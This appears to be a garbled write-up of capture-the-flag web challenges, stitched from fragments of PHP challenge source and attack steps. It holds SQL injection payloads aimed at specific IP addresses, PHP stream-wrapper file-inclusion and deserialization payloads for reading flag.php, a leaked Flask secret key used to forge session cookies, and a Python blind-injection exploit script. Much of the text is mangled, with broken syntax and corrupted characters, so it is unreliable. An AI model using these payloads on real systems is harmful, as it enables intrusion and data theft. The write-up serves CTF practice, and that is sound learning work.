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if (isset($_GET['repo'])) {
if (strcmp($_GET['repo'], $flag) == 0)
die('Flag: '.$flag);

else
print 'No';
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http://39.108.109.85:9001/?id=1 or sleep(10)
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select * from users where id=1 and linestring(id);

ERROR 1367 (22007): llegal non geometric ‘ security . users . id’ value found during parsing
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?id=1 or exp(~id)

?id=1 or linestring(id)

?id=1 or polygon(id)
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You need geta ‘t’
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<?php

include 'flag.php';
if(isset($_GET['t'])){
$ COOKIE[ 'bash_token'] = $ GET['t'];
}else{
die("You need get a 't'");
by
if(isset($ POST['sleep'])){
if(!is_numeric($_POST[ 'sleep'])){

echo 'Gime me a number plz.';

}else if($ POST['sleep'] < 60 * 60 * 24 * 30 * 2){
echo 'NoNoNo sleep too short.';

}else if($_POST['sleep'] > 60 * 60 * 24 * 30 * 3){
echo 'NoNoNo sleep too long.';

}else{
sleep((int)$_POST[ 'sleep']);
getFlag();

}
}else{
highlight_file(__ FILE_ );
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alert(‘" A SL VRIS ! );history.go(-1)
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alert(‘ A& I ! ");history.go(-1)
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you are not admin !
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$ GET["user"];
$ GET["file"];
$ GET["pass"];

if(isset($user)&&(file get contents($user, 'r')==="admin")){

echo "hello admin!<br>";
include($file); //class.php
}else{

echo "you are not admin ! ";
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if(isset($user)&&(file_get contents($user, 'r')==="admin"))

F) F php B 3t 25 W il php:/finput
include($file);//class.php
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Puser=php://input&file=php://filter/convert.base64-encode/resource=index.php
Puser=php://input&file=php://filter/convert.base64-encode/resource=index.php

public $file;
public function __ toString(){

if(isset($this->file)){
echo file _get contents($this->file);

}

return

__toString was called!";



file://class.php

<?php
error_reporting(0);
$ GET["user"];
$ GET["file"];
$ GET["pass"];

if(isset($user)&&(file_get_contents($user, 'r')==="admin")){
echo "hello admin!<br>";
if(preg_match("/flag/",$file)){
exit();
}else{
include($file); //class.php
$pass = unserialize($pass);

echo $pass;

"you are not admin ! ";

$ GET["user"];
$_GET["file"];
$ GET["pass"];
if(isset($user)8&&(file_get contents($user, 'r')==="admin")){
echo "hello admin!<br>";

include($file); //class.php

"you are not admin ! ";
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?user=php://input&file=class.php&pass=0:4:"Read”:1:{s:4:“file”;s:57:“php:/filter/lread=convert.base64-encode/resource=flag.php”;}
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1 /usr/bin/env python3
# coding=utf-8

import os

class Config():

BaseDir = os.path.abspath(os.path.dirname(__file ))
DB_FILE = os.path.join(BaseDir, 'dbfile.sql')
SQLALCHEMY_DATABASE_URI = 'sqlite:///' + DB_FILE
SQLALCHEMY_TRACK_MODIFICATIONS = True
SQLALCHEMY_COMMIT_ON_TEARDOWN = True

SECRET_KEY = 'dropseckey123'

config = {
‘default’': Config
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https://github.com/style-404/flask-session-cookie-manager
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' and substr((select flag from flag),1,1)=="f
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usernamedel=111"' and substr((select flag from flag ),1,1)=="f
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usernamedel=111"' and substr((select flag from flag),1,1)=="0
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! /usr/bin/env python3
# coding=utf-8

import requests
class sqliexp:
def _init (self):
self.url = "http://172.93.39.218:8888/admin"
self.session = 'eyJfZmxhc2hlcyI6W3siIHQiO0lsibWVzc2FnZSIsI1xINzY3Y1xINWYINVXINjIXMFXINTI5ZiJdfV@sIm5hbWUi
0iJhZG1pbiJ9.XB-iXg.PURonzshj1lDsEvsXYZ24YyuAgI4'
self.flag =

#1118 P
def adduser(self):
cookies = {'session':self.session}
data = {'username':'111", 'password’':"'111"}
try:
requests.post(url=self.url, cookies=cookies,data=data)
except TimeoutError:
exit(-1)
def deluser(self,num):
cookies = {'session':self.session}
for strs in 'flag{}0123456789bcde":
payload = "111' and substr((select flag from flag),%d,1)=="%s" % (num,strs)
data = {'usernamedel':payload}
try:
response = requests.post(url=self.url,data=data,cookies=cookies)
if '111' not in response.text:
self.flag += strs
return 1
except TimeoutError:
exit(-1)
if __name__ == '__main__"':
exp = sqliexp()
for num in range(1,39,1):
exp.adduser()
exp.deluser(num)
print(exp.flag)
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